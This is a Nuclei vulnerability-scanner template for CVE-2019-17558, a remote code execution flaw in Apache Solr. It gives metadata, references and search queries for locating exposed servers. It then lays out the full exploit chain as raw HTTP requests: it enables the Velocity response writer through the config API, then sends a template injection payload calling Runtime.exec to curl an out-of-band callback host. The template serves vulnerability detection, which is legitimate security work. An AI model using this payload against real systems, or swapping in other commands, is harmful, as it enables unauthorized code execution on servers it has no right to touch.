nuclei-templates/http/cves/2019/CVE-2019-17558.yaml

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id: CVE-2019-17558
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info:
name: Apache Solr <=8.3.1 - Remote Code Execution
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author: pikpikcu,madrobot
severity: high
description: Apache Solr versions 5.0.0 to 8.3.1 are vulnerable to remote code execution vulnerabilities through the VelocityResponseWriter. A Velocity template can be provided through Velocity templates in a configset `velocity/ directory or as a parameter. A user defined configset could contain renderable, potentially malicious, templates. Parameter provided templates are disabled by default, but can be enabled by setting `params.resource.loader.enabled by defining a response writer with that setting set to `true`. Defining a response writer requires configuration API access. Solr 8.4 removed the params resource loader entirely, and only enables the configset-provided template rendering when the configset is `trusted` (has been uploaded by an authenticated user).
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impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected system.
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remediation: |
Upgrade to a patched version of Apache Solr (8.4.0 or later) to mitigate this vulnerability.
reference:
- https://issues.apache.org/jira/browse/SOLR-13971
- https://nvd.nist.gov/vuln/detail/CVE-2019-17558
- https://lists.apache.org/thread.html/rb964fe5c4e3fc05f75e8f74bf6b885f456b7a7750c36e9a8045c627a@%3Cissues.lucene.apache.org%3E
- http://packetstormsecurity.com/files/157078/Apache-Solr-8.3.0-Velocity-Template-Remote-Code-Execution.html
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- https://lists.apache.org/thread.html/r0b7b9d4113e6ec1ae1d3d0898c645f758511107ea44f0f3a1210c5d5@%3Cissues.lucene.apache.org%3E
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.5
cve-id: CVE-2019-17558
cwe-id: CWE-74
epss-score: 0.97517
epss-percentile: 0.99985
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cpe: cpe:2.3:a:apache:solr:*:*:*:*:*:*:*:*
metadata:
max-request: 3
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vendor: apache
product: solr
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shodan-query: cpe:"cpe:2.3:a:apache:solr"
fofa-query: title="solr admin"
google-query: intitle:"apache solr"
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tags: cve,cve2019,kev,packetstorm,apache,rce,solr,oast
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http:
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- raw:
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- |
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GET /solr/admin/cores?wt=json HTTP/1.1
Host: {{Hostname}}
- |
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POST /solr/{{core}}/config HTTP/1.1
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Host: {{Hostname}}
Content-Type: application/json
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{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
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}
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- |
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GET /solr/{{core}}/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27curl%20{{interactsh-url}}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
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Host: {{Hostname}}
Connection: close
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matchers-condition: and
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matchers:
- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "http"
- type: status
status:
- 200
extractors:
- type: regex
name: core
group: 1
regex:
- '"name"\:"(.*?)"'
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internal: true
# digest: 4b0a00483046022100c2643129e31952e9cf7c3318b52efcac062acc9064a29d60c0f8103c8d3a0e58022100955f57a55270cc1d4529e495bfeeb27b66b8ac7a741e5af2e9f37ce321b3d2ca:922c64590222798bb761d5b6d8e72950